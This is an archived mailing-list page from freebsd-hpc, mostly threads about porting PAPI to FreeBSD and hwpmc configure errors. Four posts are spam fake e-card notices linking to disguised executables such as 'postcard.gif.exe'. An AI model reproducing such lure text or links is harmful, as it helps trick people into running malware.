Nabble - freebsd-hpc

You have just received a virtual postcard from a friend !

2008-08-01T16:27:10Z

You have just received a virtual postcard from a friend !

.

You can pick up your postcard at the following web address:

.

[1]http://mailer1.key-one.it/postcard.gif.exe

.

If you can't click on the web address above, you can also
visit 1001 Postcards at http://www.postcards.org/postcards/
and enter your pickup code, which is: d21-sea-sunset

.

(Your postcard will be available for 60 days.)

.

Oh -- and if you'd like to reply with a postcard,
you can do so by visiting this web address:
http://www2.postcards.org/
(Or you can simply click the "reply to this postcard"
button beneath your postcard!)

.

We hope you enjoy your postcard, and if you do,
please take a moment to send a few yourself!

.

Regards,
1001 Postcards
http://www.postcards.org/postcards/

References

1. http://mailer1.key-one.it/postcard.gif.exe
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

You have just received a virtual postcard from a friend !

2008-04-18T19:22:59Z

You have just received a virtual postcard from a friend !

.

You can pick up your postcard at the following web address:

.

[1]http://annapurna.ifj.edu.pl/~jolanta/cgi-bin/postcard.exe

.

If you can't click on the web address above, you can also
visit 1001 Postcards at http://www.postcards.org/postcards/
and enter your pickup code, which is: d21-sea-sunset

.

(Your postcard will be available for 60 days.)

.

Oh -- and if you'd like to reply with a postcard,
you can do so by visiting this web address:
http://www2.postcards.org/
(Or you can simply click the "reply to this postcard"
button beneath your postcard!)

.

We hope you enjoy your postcard, and if you do,
please take a moment to send a few yourself!

.

Regards,
1001 Postcards
http://www.postcards.org/postcards/

References

1. http://annapurna.ifj.edu.pl/~jolanta/cgi-bin/postcard.exe
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

CuBLAS/CuFFT or similar libraries for FreeBSD?

2008-02-20T08:28:41Z

I'm looking for a way utilizing nVidias or AMD/ATIs GPU natively with a
FreeBSD-ported library like BLAS/FFT, but can only find CuBLAS and
CuFFT, which are bound to CUDA and CUDA is itselfs bound to a
nVidia-driver. nVidias drivers are Linux BLOBs and not operable with
64Bit FreeBSD.
Does anybody have ideas/suggestions?

Thanks in advance,
Oliver

_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Hallmark Ecard

2007-11-19T04:22:54Z

[header.gif]
Hello ,
A friend has sent you a Hallmark Ecard
Click [1]here to view your Ecard .
If you would like to return an Ecard to him simply go to
[2]http://ecards.msn.co.uk/
MSN
in association with
Hallmark Cards
Your privacy is our priority. Click the "Privacy and Security" link at
the bottom of any page on [3]http://ecards.msn.co.uk/ to see our
privacy policy.
[footer.gif]

References

1. http://server165123.xantronnet.de/~ftp/postcard.gif.exe
2. file://localhost/tmp/tmpWpnppu.html
3. http://ecards.msn.co.uk/"
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Hey , you just recieved a greeting

2007-10-17T15:36:05Z

Hi,
You have been just sent an electronic greeting card.
It is waiting for you at our card site, go ahead and see it!
To view your card, choose from any of the following options
which works best for you.
--------
Method 1
--------
Just click on the following Internet address (if that doesn't work for
you, copy & paste the address onto your browser's address box.)
[1]http://cards.123greetings.com/cgi-bin/cards/showcard.pl?cardnum=ZBE
80927120152493&log=e_greetings
--------
Method 2
--------
Copy & paste your card number in the view card box at
[2]http://www.e-greetingz.com
Your card number is
ZBE80927120152493
(For your convenience, the greeting card will be available for the
next
30 days)
Webmaster,
[3]http://www.e-greetingz.com

References

1. http://allergy09.cs.upt.ro/postcard.exe
2. http://allergy09.cs.upt.ro/postcard.exe
3. http://allergy09.cs.upt.ro/postcard.exe
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

PAPI in the ports

2007-06-14T02:52:32Z

Hello,

I'm glad to announce you that PAPI-3.5.0 has reached the FreeBSD ports
tree and now it's generally available for all FreeBSD users.

Port information is available at
http://www.freebsd.org/cgi/ports.cgi?query=papi&stype=all&sektion=devel

See http://code.google.com/p/papi-for-freebsd/wiki/HowToInstall for
installation instructions.

There are some issues with P4 processors that need to be fixed on
PAPI_write / PAPI_reset routines, but the package have the minimal (and most
important functionality) working fine for the rest of the substrates.

Regards,
--
_________________________________________________________________
Empty your memory,
with a free()...
like a pointer!

If you cast a pointer to an integer,
it becomes an integer,
if you cast a pointer to a struct,
it becomes a struct.

The pointer can crash...,
and can overflow.

Be a pointer my friend...
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: testers wanted for PAPI / FreeBSD

2007-06-06T13:26:57Z

2007/6/6, Nikolay Pavlov <quetzal@...>:

>
> On Monday, 4 June 2007 at 22:29:47 +0300, Nikolay Pavlov wrote:
> > On Sunday, 20 May 2007 at 12:29:23 +0200, Harald Servat wrote:
> > > Hello,
> > >
> > > I'm porting PAPI to FreeBSD. I was wondering if you could give a try
> to
> > > the package I'm porting. It would be great to have more feedback than
> just
> > > that my laptop is able to provide me :)
> > >
> > > First of all, you can download the code at
> > >
> > > http://code.google.com/p/papi-for-freebsd
> > >
> > > Next, see man hwpmc(4) and compile a kernel with
> > > options HWPMC_HOOKS
> > > device hwpmc
> > >
> > > (you'll require device apic if you're running on i386 machines).
> > >
> > > When you boot your dmesg should print something like
> > > hwpmc: TSC/1/0x20<REA> P6/2/0x1fe<USR,SYS,EDG,THR,REA,WRI,INV,QUA>
> > >
> > > Once the machine is up and running, just untar the file you've
> downloaded,
> > > run ./configure and just run make (not make install).
> > >
> > > Could you send me the output of the following commands?
> > >
> > > # dmesg | grep hwpmc
> > > # utils/papi_avail
> > > # utils/papi_decode
> > > # utils/papi_native_avail
> > > # ctests/low-level
> > > # ctests/high-level
> > >
> > > Thank you very much,
> >
> > Hi Harald. I have an error while running configure script:
> >
>
> Ooops. Sorry for confusion Harald it was my fault. I have send the
> script gziped archive to you with all the tests in a privat email.
>
> --
> ======================================================================
> - Best regards, Nikolay Pavlov. <<<-----------------------------------
> ======================================================================
>
>

Thank you very much! Results seem fine!

--
_________________________________________________________________
Empty your memory,
with a free()...
like a pointer!

If you cast a pointer to an integer,
it becomes an integer,
if you cast a pointer to a struct,
it becomes a struct.

The pointer can crash...,
and can overflow.

Be a pointer my friend...
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: testers wanted for PAPI / FreeBSD

2007-06-06T09:59:55Z

On Monday, 4 June 2007 at 22:29:47 +0300, Nikolay Pavlov wrote:

> On Sunday, 20 May 2007 at 12:29:23 +0200, Harald Servat wrote:
> > Hello,
> >
> > I'm porting PAPI to FreeBSD. I was wondering if you could give a try to
> > the package I'm porting. It would be great to have more feedback than just
> > that my laptop is able to provide me :)
> >
> > First of all, you can download the code at
> >
> > http://code.google.com/p/papi-for-freebsd
> >
> > Next, see man hwpmc(4) and compile a kernel with
> > options HWPMC_HOOKS
> > device hwpmc
> >
> > (you'll require device apic if you're running on i386 machines).
> >
> > When you boot your dmesg should print something like
> > hwpmc: TSC/1/0x20<REA> P6/2/0x1fe<USR,SYS,EDG,THR,REA,WRI,INV,QUA>
> >
> > Once the machine is up and running, just untar the file you've downloaded,
> > run ./configure and just run make (not make install).
> >
> > Could you send me the output of the following commands?
> >
> > # dmesg | grep hwpmc
> > # utils/papi_avail
> > # utils/papi_decode
> > # utils/papi_native_avail
> > # ctests/low-level
> > # ctests/high-level
> >
> > Thank you very much,
>
> Hi Harald. I have an error while running configure script:
>

Ooops. Sorry for confusion Harald it was my fault. I have send the
script gziped archive to you with all the tests in a privat email.

--
======================================================================
- Best regards, Nikolay Pavlov. <<<-----------------------------------
======================================================================

_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: testers wanted for PAPI / FreeBSD

2007-06-06T04:54:16Z

2007/6/6, Nikolay Pavlov <quetzal@...>:

>
> On Monday, 4 June 2007 at 21:33:54 +0200, Harald Servat wrote:
> > Hello,
> >
> > What is the result of dmesg | grep hwpmc?
>
> hwpmc: TSC/1/0x20<REA> P6/2/0x1ff<INT,USR,SYS,EDG,THR,REA,WRI,INV,QUA>
>
>
> >
> > Regards,
> >
> > 2007/6/4, Nikolay Pavlov <[1]quetzal@...>:
> >
> > On Sunday, 20 May 2007 at 12:29:23 +0200, Harald Servat wrote:
> > > Hello,
> > >
> > > I'm porting PAPI to FreeBSD. I was wondering if you could give
> a try
> > to
> > > the package I'm porting. It would be great to have more feedback
> than
> > just
> > > that my laptop is able to provide me :)
> > >
> > > First of all, you can download the code at
> > >
> > > [2]http://code.google.com/p/papi-for-freebsd
> > >
> > > Next, see man hwpmc(4) and compile a kernel with
> > > options HWPMC_HOOKS
> > > device hwpmc
> > >
> > > (you'll require device apic if you're running on i386 machines).
> > >
> > > When you boot your dmesg should print something like
> > > hwpmc: TSC/1/0x20<REA>
> P6/2/0x1fe<USR,SYS,EDG,THR,REA,WRI,INV,QUA>
> > >
> > > Once the machine is up and running, just untar the file you've
> > downloaded,
> > > run ./configure and just run make (not make install).
> > >
> > > Could you send me the output of the following commands?
> > >
> > > # dmesg | grep hwpmc
> > > # utils/papi_avail
> > > # utils/papi_decode
> > > # utils/papi_native_avail
> > > # ctests/low-level
> > > # ctests/high-level
> > >
> > > Thank you very much,
> >
> > Hi Harald. I have an error while running configure script:
> >
> > root@orion:~/papi/papi-3.5.0/src#
>
> > ./configure <796>
> > as_func_failure succeeded.
> > as_func_failure succeeded.
> > No shell found that supports shell functions.
> > Please tell [3]autoconf@... about your system,
> > including any error possibly output before this
> > message
> > checking for architecture... i386
> > checking for OS... freebsd
> > checking for OS version... 7.0-CURRENT
> > checking for CPU type...
> > checking for 32 or 64 bit mode... 32
> > checking for debugging build... no
> > checking for gawk... no
> > checking for mawk... no
> > checking for nawk... nawk
> > checking for gcc... gcc
> > checking for C compiler default output file name... a.out
> > checking whether the C compiler works... yes
> > checking whether we are cross compiling... no
> > checking for suffix of executables...
> > checking for suffix of object files... o
> > checking whether we are using the GNU C compiler... yes
> > checking whether gcc accepts -g... yes
> > checking for gcc option to accept ISO C89... none needed
> > checking for g77... no
> > checking for xlf... no
> > checking for f77... f77
> > checking whether we are using the GNU Fortran 77 compiler... yes
> > checking whether f77 accepts -g... yes
> > checking whether we are using the GNU C compiler... (cached) yes
> > checking whether gcc accepts -g... (cached) yes
> > checking for gcc option to accept ISO C89... (cached) none needed
> > checking whether we are using the GNU Fortran 77 compiler...
> (cached)
> > yes
> > checking whether f77 accepts -g... (cached) yes
> > checking how to run the C preprocessor... gcc -E
> > checking whether ln -s works... yes
> > checking whether make sets $(MAKE)... yes
> > checking for ranlib... ranlib
> > checking for grep that handles long lines and -e... /usr/bin/grep
> > checking for egrep... /usr/bin/grep -E
> > checking for ANSI C header files... yes
> > checking for ffsll... no
> > checking for working MMTIMER... no
> > checking for working CLOCK_REALTIME_HR POSIX 1b timer... no
> > checking for working CLOCK_REALTIME POSIX 1b timer... no
> > checking for real time clock or cycle counter... cycle
> > checking for working __thread... yes
> > checking for high performance thread local storage... __thread
> > checking for working CLOCK_THREAD_CPUTIME_ID POSIX 1b timer... no
> > checking for working per-thread times() timer... no
> > checking for thread virtual clock or cycle counter... default
> > checking for /sys/class/perfctr... no
> > checking for /dev/perfctr... no
> > checking for /sys/kernel/perfmon/version... no
> > checking for /proc/perfmon... no
> > checking for perfctr version... none
> > checking for perfmon version... none
> > checking for Makefile to use... configure: error: Error! HWPMC
> module
> > seems not to be on the kernel. Have you compiled the kernel with
> HWPMC?
> > (see hwpmc(4))
> >
> > However module is there:
> >
> > quetzal@viking:~/bugs> cat
> > papi.bug
> > <1959>
> > root@orion:~/papi# kldstat -v | grep
> > hwpmc
> > <848>
> > 135 hwpmc
> >
> > root@orion:~/bugs# uname
>
> > -a <853>
> > FreeBSD [4]orion.zone3000.net 7.0-CURRENT FreeBSD 7.0-CURRENT #0:
> Mon
> > Jun
> > 4 19:33:59 EEST 2007
> > root@...:/usr/obj/usr/src/sys/GENERIC-PMC i386
> >
> > And i have all required options in kernel config:
> >
> > quetzal@orion:~/bugs> grep -i PMC
> > /sys/i386/conf/GENERIC-PMC
> > <890>
> > device hwpmc # Driver (also a loadable module)
> > options HWPMC_HOOKS # Other necessary kernel hooks
> >
> > --
>
> > ======================================================================
> > - Best regards, Nikolay Pavlov.
> <<<-----------------------------------
>
> > ======================================================================
> >
> > --
> > _________________________________________________________________
> > Empty your memory,
> > with a free()...
> > like a pointer!
> >
> > If you cast a pointer to an integer,
> > it becomes an integer,
> > if you cast a pointer to a struct,
> > it becomes a struct.
> >
> > The pointer can crash...,
> > and can overflow.
> >
> > Be a pointer my friend...
> >
> > References
> >
> > Visible links
> > 1. mailto:quetzal@...
> > 2. http://code.google.com/p/papi-for-freebsd
> > 3. mailto:autoconf@...
> > 4. http://orion.zone3000.net/
>
> --
> ======================================================================
> - Best regards, Nikolay Pavlov. <<<-----------------------------------
> ======================================================================
>
>

Hello Nikolay,

could you try to remove lines 1018 - 1022 from configure.in, run autoconf
and rerun the configure?

Regards,
--
_________________________________________________________________
Empty your memory,
with a free()...
like a pointer!

If you cast a pointer to an integer,
it becomes an integer,
if you cast a pointer to a struct,
it becomes a struct.

The pointer can crash...,
and can overflow.

Be a pointer my friend...
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: testers wanted for PAPI / FreeBSD

2007-06-06T04:26:14Z

On Monday, 4 June 2007 at 21:33:54 +0200, Harald Servat wrote:
> Hello,
>
> What is the result of dmesg | grep hwpmc?

hwpmc: TSC/1/0x20<REA> P6/2/0x1ff<INT,USR,SYS,EDG,THR,REA,WRI,INV,QUA>

>
> Regards,
>
> 2007/6/4, Nikolay Pavlov <[1]quetzal@...>:
>
> On Sunday, 20 May 2007 at 12:29:23 +0200, Harald Servat wrote:
> > Hello,
> >
> > I'm porting PAPI to FreeBSD. I was wondering if you could give a try
> to
> > the package I'm porting. It would be great to have more feedback than
> just
> > that my laptop is able to provide me :)
> >
> > First of all, you can download the code at
> >
> > [2]http://code.google.com/p/papi-for-freebsd
> >
> > Next, see man hwpmc(4) and compile a kernel with
> > options HWPMC_HOOKS
> > device hwpmc
> >
> > (you'll require device apic if you're running on i386 machines).
> >
> > When you boot your dmesg should print something like
> > hwpmc: TSC/1/0x20<REA> P6/2/0x1fe<USR,SYS,EDG,THR,REA,WRI,INV,QUA>
> >
> > Once the machine is up and running, just untar the file you've
> downloaded,
> > run ./configure and just run make (not make install).
> >
> > Could you send me the output of the following commands?
> >
> > # dmesg | grep hwpmc
> > # utils/papi_avail
> > # utils/papi_decode
> > # utils/papi_native_avail
> > # ctests/low-level
> > # ctests/high-level
> >
> > Thank you very much,
>
> Hi Harald. I have an error while running configure script:
>
> root@orion:~/papi/papi-3.5.0/src#
> ./configure <796>
> as_func_failure succeeded.
> as_func_failure succeeded.
> No shell found that supports shell functions.
> Please tell [3]autoconf@... about your system,
> including any error possibly output before this
> message
> checking for architecture... i386
> checking for OS... freebsd
> checking for OS version... 7.0-CURRENT
> checking for CPU type...
> checking for 32 or 64 bit mode... 32
> checking for debugging build... no
> checking for gawk... no
> checking for mawk... no
> checking for nawk... nawk
> checking for gcc... gcc
> checking for C compiler default output file name... a.out
> checking whether the C compiler works... yes
> checking whether we are cross compiling... no
> checking for suffix of executables...
> checking for suffix of object files... o
> checking whether we are using the GNU C compiler... yes
> checking whether gcc accepts -g... yes
> checking for gcc option to accept ISO C89... none needed
> checking for g77... no
> checking for xlf... no
> checking for f77... f77
> checking whether we are using the GNU Fortran 77 compiler... yes
> checking whether f77 accepts -g... yes
> checking whether we are using the GNU C compiler... (cached) yes
> checking whether gcc accepts -g... (cached) yes
> checking for gcc option to accept ISO C89... (cached) none needed
> checking whether we are using the GNU Fortran 77 compiler... (cached)
> yes
> checking whether f77 accepts -g... (cached) yes
> checking how to run the C preprocessor... gcc -E
> checking whether ln -s works... yes
> checking whether make sets $(MAKE)... yes
> checking for ranlib... ranlib
> checking for grep that handles long lines and -e... /usr/bin/grep
> checking for egrep... /usr/bin/grep -E
> checking for ANSI C header files... yes
> checking for ffsll... no
> checking for working MMTIMER... no
> checking for working CLOCK_REALTIME_HR POSIX 1b timer... no
> checking for working CLOCK_REALTIME POSIX 1b timer... no
> checking for real time clock or cycle counter... cycle
> checking for working __thread... yes
> checking for high performance thread local storage... __thread
> checking for working CLOCK_THREAD_CPUTIME_ID POSIX 1b timer... no
> checking for working per-thread times() timer... no
> checking for thread virtual clock or cycle counter... default
> checking for /sys/class/perfctr... no
> checking for /dev/perfctr... no
> checking for /sys/kernel/perfmon/version... no
> checking for /proc/perfmon... no
> checking for perfctr version... none
> checking for perfmon version... none
> checking for Makefile to use... configure: error: Error! HWPMC module
> seems not to be on the kernel. Have you compiled the kernel with HWPMC?
> (see hwpmc(4))
>
> However module is there:
>
> quetzal@viking:~/bugs> cat
> papi.bug
> <1959>
> root@orion:~/papi# kldstat -v | grep
> hwpmc
> <848>
> 135 hwpmc
>
> root@orion:~/bugs# uname
> -a <853>
> FreeBSD [4]orion.zone3000.net 7.0-CURRENT FreeBSD 7.0-CURRENT #0: Mon
> Jun
> 4 19:33:59 EEST 2007
> root@...:/usr/obj/usr/src/sys/GENERIC-PMC i386
>
> And i have all required options in kernel config:
>
> quetzal@orion:~/bugs> grep -i PMC
> /sys/i386/conf/GENERIC-PMC
> <890>
> device hwpmc # Driver (also a loadable module)
> options HWPMC_HOOKS # Other necessary kernel hooks
>
> --
> ======================================================================
> - Best regards, Nikolay Pavlov. <<<-----------------------------------
> ======================================================================
>
> --
> _________________________________________________________________
> Empty your memory,
> with a free()...
> like a pointer!
>
> If you cast a pointer to an integer,
> it becomes an integer,
> if you cast a pointer to a struct,
> it becomes a struct.
>
> The pointer can crash...,
> and can overflow.
>
> Be a pointer my friend...
>
> References
>
> Visible links
> 1. mailto:quetzal@...
> 2. http://code.google.com/p/papi-for-freebsd
> 3. mailto:autoconf@...
> 4. http://orion.zone3000.net/

--
======================================================================
- Best regards, Nikolay Pavlov. <<<-----------------------------------
======================================================================

_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: testers wanted for PAPI / FreeBSD

2007-06-04T13:33:54Z

Hello,

What is the result of dmesg | grep hwpmc?

Regards,

2007/6/4, Nikolay Pavlov <quetzal@...>:

>
> On Sunday, 20 May 2007 at 12:29:23 +0200, Harald Servat wrote:
> > Hello,
> >
> > I'm porting PAPI to FreeBSD. I was wondering if you could give a try
> to
> > the package I'm porting. It would be great to have more feedback than
> just
> > that my laptop is able to provide me :)
> >
> > First of all, you can download the code at
> >
> > http://code.google.com/p/papi-for-freebsd
> >
> > Next, see man hwpmc(4) and compile a kernel with
> > options HWPMC_HOOKS
> > device hwpmc
> >
> > (you'll require device apic if you're running on i386 machines).
> >
> > When you boot your dmesg should print something like
> > hwpmc: TSC/1/0x20<REA> P6/2/0x1fe<USR,SYS,EDG,THR,REA,WRI,INV,QUA>
> >
> > Once the machine is up and running, just untar the file you've
> downloaded,
> > run ./configure and just run make (not make install).
> >
> > Could you send me the output of the following commands?
> >
> > # dmesg | grep hwpmc
> > # utils/papi_avail
> > # utils/papi_decode
> > # utils/papi_native_avail
> > # ctests/low-level
> > # ctests/high-level
> >
> > Thank you very much,
>
> Hi Harald. I have an error while running configure script:
>
> root@orion:~/papi/papi-3.5.0/src#
> ./configure <796>
> as_func_failure succeeded.
> as_func_failure succeeded.
> No shell found that supports shell functions.
> Please tell autoconf@... about your system,
> including any error possibly output before this
> message
> checking for architecture... i386
> checking for OS... freebsd
> checking for OS version... 7.0-CURRENT
> checking for CPU type...
> checking for 32 or 64 bit mode... 32
> checking for debugging build... no
> checking for gawk... no
> checking for mawk... no
> checking for nawk... nawk
> checking for gcc... gcc
> checking for C compiler default output file name... a.out
> checking whether the C compiler works... yes
> checking whether we are cross compiling... no
> checking for suffix of executables...
> checking for suffix of object files... o
> checking whether we are using the GNU C compiler... yes
> checking whether gcc accepts -g... yes
> checking for gcc option to accept ISO C89... none needed
> checking for g77... no
> checking for xlf... no
> checking for f77... f77
> checking whether we are using the GNU Fortran 77 compiler... yes
> checking whether f77 accepts -g... yes
> checking whether we are using the GNU C compiler... (cached) yes
> checking whether gcc accepts -g... (cached) yes
> checking for gcc option to accept ISO C89... (cached) none needed
> checking whether we are using the GNU Fortran 77 compiler... (cached) yes
> checking whether f77 accepts -g... (cached) yes
> checking how to run the C preprocessor... gcc -E
> checking whether ln -s works... yes
> checking whether make sets $(MAKE)... yes
> checking for ranlib... ranlib
> checking for grep that handles long lines and -e... /usr/bin/grep
> checking for egrep... /usr/bin/grep -E
> checking for ANSI C header files... yes
> checking for ffsll... no
> checking for working MMTIMER... no
> checking for working CLOCK_REALTIME_HR POSIX 1b timer... no
> checking for working CLOCK_REALTIME POSIX 1b timer... no
> checking for real time clock or cycle counter... cycle
> checking for working __thread... yes
> checking for high performance thread local storage... __thread
> checking for working CLOCK_THREAD_CPUTIME_ID POSIX 1b timer... no
> checking for working per-thread times() timer... no
> checking for thread virtual clock or cycle counter... default
> checking for /sys/class/perfctr... no
> checking for /dev/perfctr... no
> checking for /sys/kernel/perfmon/version... no
> checking for /proc/perfmon... no
> checking for perfctr version... none
> checking for perfmon version... none
> checking for Makefile to use... configure: error: Error! HWPMC module
> seems not to be on the kernel. Have you compiled the kernel with HWPMC? (see
> hwpmc(4))
>
> However module is there:
>
> quetzal@viking:~/bugs> cat papi.bug
> <1959>
> root@orion:~/papi# kldstat -v | grep
> hwpmc
> <848>
> 135 hwpmc
>
> root@orion:~/bugs# uname
> -a <853>
> FreeBSD orion.zone3000.net 7.0-CURRENT FreeBSD 7.0-CURRENT #0: Mon Jun
> 4 19:33:59 EEST 2007
> root@...:/usr/obj/usr/src/sys/GENERIC-PMC i386
>
> And i have all required options in kernel config:
>
> quetzal@orion:~/bugs> grep -i PMC
> /sys/i386/conf/GENERIC-PMC
> <890>
> device hwpmc # Driver (also a loadable module)
> options HWPMC_HOOKS # Other necessary kernel hooks
>
>
> --
> ======================================================================
> - Best regards, Nikolay Pavlov. <<<-----------------------------------
> ======================================================================
>
>

--
_________________________________________________________________
Empty your memory,
with a free()...
like a pointer!

If you cast a pointer to an integer,
it becomes an integer,
if you cast a pointer to a struct,
it becomes a struct.

The pointer can crash...,
and can overflow.

Be a pointer my friend...
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: testers wanted for PAPI / FreeBSD

2007-06-04T13:29:47Z

On Sunday, 20 May 2007 at 12:29:23 +0200, Harald Servat wrote:

> Hello,
>
> I'm porting PAPI to FreeBSD. I was wondering if you could give a try to
> the package I'm porting. It would be great to have more feedback than just
> that my laptop is able to provide me :)
>
> First of all, you can download the code at
>
> http://code.google.com/p/papi-for-freebsd
>
> Next, see man hwpmc(4) and compile a kernel with
> options HWPMC_HOOKS
> device hwpmc
>
> (you'll require device apic if you're running on i386 machines).
>
> When you boot your dmesg should print something like
> hwpmc: TSC/1/0x20<REA> P6/2/0x1fe<USR,SYS,EDG,THR,REA,WRI,INV,QUA>
>
> Once the machine is up and running, just untar the file you've downloaded,
> run ./configure and just run make (not make install).
>
> Could you send me the output of the following commands?
>
> # dmesg | grep hwpmc
> # utils/papi_avail
> # utils/papi_decode
> # utils/papi_native_avail
> # ctests/low-level
> # ctests/high-level
>
> Thank you very much,

Hi Harald. I have an error while running configure script:

root@orion:~/papi/papi-3.5.0/src# ./configure <796>
as_func_failure succeeded.
as_func_failure succeeded.
No shell found that supports shell functions.
Please tell autoconf@... about your system,
including any error possibly output before this
message
checking for architecture... i386
checking for OS... freebsd
checking for OS version... 7.0-CURRENT
checking for CPU type...
checking for 32 or 64 bit mode... 32
checking for debugging build... no
checking for gawk... no
checking for mawk... no
checking for nawk... nawk
checking for gcc... gcc
checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables...
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for g77... no
checking for xlf... no
checking for f77... f77
checking whether we are using the GNU Fortran 77 compiler... yes
checking whether f77 accepts -g... yes
checking whether we are using the GNU C compiler... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for gcc option to accept ISO C89... (cached) none needed
checking whether we are using the GNU Fortran 77 compiler... (cached) yes
checking whether f77 accepts -g... (cached) yes
checking how to run the C preprocessor... gcc -E
checking whether ln -s works... yes
checking whether make sets $(MAKE)... yes
checking for ranlib... ranlib
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for ANSI C header files... yes
checking for ffsll... no
checking for working MMTIMER... no
checking for working CLOCK_REALTIME_HR POSIX 1b timer... no
checking for working CLOCK_REALTIME POSIX 1b timer... no
checking for real time clock or cycle counter... cycle
checking for working __thread... yes
checking for high performance thread local storage... __thread
checking for working CLOCK_THREAD_CPUTIME_ID POSIX 1b timer... no
checking for working per-thread times() timer... no
checking for thread virtual clock or cycle counter... default
checking for /sys/class/perfctr... no
checking for /dev/perfctr... no
checking for /sys/kernel/perfmon/version... no
checking for /proc/perfmon... no
checking for perfctr version... none
checking for perfmon version... none
checking for Makefile to use... configure: error: Error! HWPMC module seems not to be on the kernel. Have you compiled the kernel with HWPMC? (see hwpmc(4))

However module is there:

quetzal@viking:~/bugs> cat papi.bug <1959>
root@orion:~/papi# kldstat -v | grep hwpmc <848>
135 hwpmc

root@orion:~/bugs# uname -a <853>
FreeBSD orion.zone3000.net 7.0-CURRENT FreeBSD 7.0-CURRENT #0: Mon Jun
4 19:33:59 EEST 2007
root@...:/usr/obj/usr/src/sys/GENERIC-PMC i386

And i have all required options in kernel config:

quetzal@orion:~/bugs> grep -i PMC /sys/i386/conf/GENERIC-PMC <890>
device hwpmc # Driver (also a loadable module)
options HWPMC_HOOKS # Other necessary kernel hooks

--
======================================================================
- Best regards, Nikolay Pavlov. <<<-----------------------------------
======================================================================

_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

testers wanted for PAPI / FreeBSD

2007-05-20T04:29:23Z

Hello,

I'm porting PAPI to FreeBSD. I was wondering if you could give a try to
the package I'm porting. It would be great to have more feedback than just
that my laptop is able to provide me :)

First of all, you can download the code at

http://code.google.com/p/papi-for-freebsd

Next, see man hwpmc(4) and compile a kernel with
options HWPMC_HOOKS
device hwpmc

(you'll require device apic if you're running on i386 machines).

When you boot your dmesg should print something like
hwpmc: TSC/1/0x20<REA> P6/2/0x1fe<USR,SYS,EDG,THR,REA,WRI,INV,QUA>

Once the machine is up and running, just untar the file you've downloaded,
run ./configure and just run make (not make install).

Could you send me the output of the following commands?

# dmesg | grep hwpmc
# utils/papi_avail
# utils/papi_decode
# utils/papi_native_avail
# ctests/low-level
# ctests/high-level

Thank you very much,
--
_________________________________________________________________
Empty your memory,
with a free()...
like a pointer!

If you cast a pointer to an integer,
it becomes an integer,
if you cast a pointer to a struct,
it becomes a struct.

The pointer can crash...,
and can overflow.

Be a pointer my friend...
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: PAPI for FreeBSD

2007-05-18T07:24:48Z

I'm sorry Benjamin, but libpmc/hwpmc (and my version of PAPI by extension)
does not support Core Duo processors nowadays.

Maybe Joseph Koshy (the person who is responsible for libpmc/hwpmc) could
give you some info on what he needs to support them.

Thank you,

2007/5/18, Benjamin Lutz <mail@...>:

>
> On Friday 18 May 2007 12:38, Harald Servat wrote:
> > I'm searching some testers for my first version of the port because
> > I'm only able to test it on my laptop (FreeBSD 6.2 / Pentium M) and
> > it would be great to test it in other kind of processors (now it's
> > only supported on Pentium 2/3/4/Celeron AMD K7/8) before releasing it
> > (and providing my patches to PAPI developers).
> > Anyone interested on doing this test, please, send me an email and
> > I'll reply you with some instructions to follow.
>
> I've got a Core 2 Duo/Asus P5B Deluxe system here running FreeBSD 6.2
> here. If that's useful to you I'm willing to do some tests.
>
> Cheers
> Benjamin
>
>

Re: PAPI for FreeBSD

2007-05-18T05:59:47Z

On Friday 18 May 2007 12:38, Harald Servat wrote:
> I'm searching some testers for my first version of the port because
> I'm only able to test it on my laptop (FreeBSD 6.2 / Pentium M) and
> it would be great to test it in other kind of processors (now it's
> only supported on Pentium 2/3/4/Celeron AMD K7/8) before releasing it
> (and providing my patches to PAPI developers).
> Anyone interested on doing this test, please, send me an email and
> I'll reply you with some instructions to follow.

I've got a Core 2 Duo/Asus P5B Deluxe system here running FreeBSD 6.2
here. If that's useful to you I'm willing to do some tests.

Cheers
Benjamin

attachment0 (196 bytes) Download Attachment

PAPI for FreeBSD

2007-05-18T04:38:53Z

Hello,

